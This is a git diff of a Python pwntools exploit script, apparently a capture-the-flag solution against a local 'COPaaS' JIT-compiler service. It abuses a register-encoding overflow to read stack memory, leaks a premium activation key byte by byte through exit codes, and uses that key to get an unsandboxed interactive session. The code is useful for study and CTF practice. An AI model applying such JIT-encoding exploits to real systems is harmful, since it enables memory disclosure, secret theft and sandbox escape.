diff --git a/exploit/exploit.py b/exploit/exploit.py index 2651307..a526af0 100755 --- a/exploit/exploit.py +++ b/exploit/exploit.py @@ -1,61 +1,157 @@ #! /usr/bin/env python3 +from enum import IntEnum from pwn import * -ADD = 0 -ADDI = 1 -SUB = 2 -COPY = 3 -LOADI = 4 -A = 0 -B = 1 -C = 2 -D = 3 -E = 4 -F = 5 -G = 6 -H = 7 -I = 8 -J = 9 -K = 10 -L = 11 -M = 12 -N = 13 +class Opcode(IntEnum): + ADD = 0 + ADDI = 1 + SUB = 2 + COPY = 3 + LOADI = 4 + + +class Register(IntEnum): + A = 0 + B = 1 + C = 2 + D = 3 + E = 4 + F = 5 + G = 6 + H = 7 + I = 8 + J = 9 + K = 10 + L = 11 + M = 12 + N = 13 + + def has_highest_bit_set(self): + return (self.map_to_reg_id() & 0b1000) > 0 + + def map_to_reg_id(self): + lookup = [ + 0b0000, # A is mapped to rax + 0b0011, # B to rbx + 0b0001, # C to rcx + 0b0010, # D to rdx + 0b0110, # E to rsi + 0b0111, # F to rdi + 0b1000, # G to r8 + 0b1001, # H to r9 + 0b1010, # I to r10 + 0b1011, # J to r11 + 0b1100, # K to r12 + 0b1101, # L to r13 + 0b1110, # M to r14 + 0b1111, # N to r15 + ] + return lookup[self] + INSTR_LEN = 8 def instr_i(opcode, reg1, imm: int): - assert (opcode == ADDI or opcode == LOADI) + assert (opcode == Opcode.ADDI or opcode == Opcode.LOADI) return bytes([opcode, reg1, 0, 0]) + imm.to_bytes(4, byteorder='little') def instr_r(opcode, reg1, reg2): - assert (opcode == ADD or opcode == SUB or opcode == COPY) + assert (opcode == Opcode.ADD or opcode == Opcode.SUB or opcode == Opcode.COPY) return bytes([opcode, reg1, 0, 0, reg2, 0, 0, 0]) -context.log_level = 'debug' -with remote("localhost", 1337, fam="ipv4") as p: + +def load_rsp(dst_reg: Register): + assert (dst_reg.has_highest_bit_set()) + # use bug to overflow into rbx register encoding + # register_id[rbx] + 1 = 0b0011 + 1 = register_id[rsp] + return instr_r(Opcode.COPY, dst_reg, Register.B) + + +def arbitrary_read(dst: Register, src: Register): + assert (dst.has_highest_bit_set() and not src.has_highest_bit_set()) + # use bug to overflow into RM byte, so that it encodes register indirect addressing without offset + # 0b11000000 + (register_id[dst] << 3) = 0b00XXX000 + # src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register byte + return instr_r(Opcode.ADD, dst, src) + + +def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote: + p = remote("localhost", 1337, fam="ipv4") p.recvuntil(b"Password: ") p.sendline(b"1234") - program = instr_i(LOADI, A, 0x50) + log.info(p.recvuntil(b"COPaaS - Compiler-oriented programming as a service\n").decode()) + log.info(p.recvuntil(b"? (y/N):").decode()) + if key is not None: + p.sendline(b"y") + log.info(p.recvuntil(b"Then please enter your activation key:").decode()) + p.sendline(key) + if is_real_key: + log.info(p.recvuntil(b"Using premium version! No sandbox for you!\n").decode()) + else: + log.info(p.recvuntil(b"Using the demo version!").decode()) + else: + p.sendline(b"N") + log.info(p.recvuntil(b"Using the demo version!").decode()) + return p - print(p.recvuntil(b"COPaaS - Compiler-oriented programming as a service\n").decode()) - print(p.recvuntil(b"? (y/N):").decode()) - p.sendline(b"N") - print(p.recvuntil(b"Using the demo version!").decode()) - print(p.recvuntil(b"should it bee?").decode()) - len_msg = str(len(program) // INSTR_LEN).encode() + +def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int: + log.info(p.recvuntil(b"should it bee?").decode()) + len_msg = str(len(program) // INSTR_LEN) log.info(f"Sending: {len_msg}") - p.sendline(len_msg) - print(p.recvuntil(b"Now your program:").decode()) - log.info(f"Sending program: {list(program)}") - pause() + p.sendline(len_msg.encode()) + log.info(p.recvuntil(b"Now your program:").decode()) + log.info(f"Sending program: {str(program)}") p.send(program) - p.interactive() - print(p.recvuntil(b"Your program exited with ")) + log.info(p.recvuntil(b"Your program exited with ").decode()) exit_code = int(p.recvuntil(b"!", drop=True)) log.info(f"Retrieved exit code {exit_code}!") - p.interactive() + log.info(f"As char: {bytes([exit_code]).decode()}") + return exit_code + +def extract_premium_key(): + offset_saved_rip_to_activation_key = 0x396d + + premium_key = b"" + + p = connect(b"", False) + i = 0 + while i < 0x80: + program = instr_r(Opcode.ADD, Register.K, Register.A) # arbitrary + program += instr_i(Opcode.LOADI, Register.A, 0x90909090) + + program = load_rsp(Register.G) # mov r8, rsp + program += instr_r(Opcode.ADD, Register.A, + Register.G) # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8]) + program += arbitrary_read(Register.H, Register.C) # add r9, [rcx] + program += instr_r(Opcode.ADD, Register.C, + Register.H) # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9]) + program += instr_i(Opcode.ADDI, Register.D, + offset_saved_rip_to_activation_key + i) # add rdx, offset_saved_rip_to_activation_key + program += arbitrary_read(Register.I, Register.D) # add r10, [rdx] + program += instr_r(Opcode.ADD, Register.D, + Register.I) # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10]) + program += instr_r(Opcode.COPY, Register.A, Register.B) # mov rax, rbx + + exit_code = exec_program(p, program) + if exit_code == 0: + break + as_char = bytes([exit_code]) + premium_key += as_char + print(as_char.decode(), end="") + i += 1 + print("") + p.close() + return premium_key + +context.log_level = 'warn' + +premium_key = extract_premium_key() + +p = connect(premium_key, True) +p.interactive()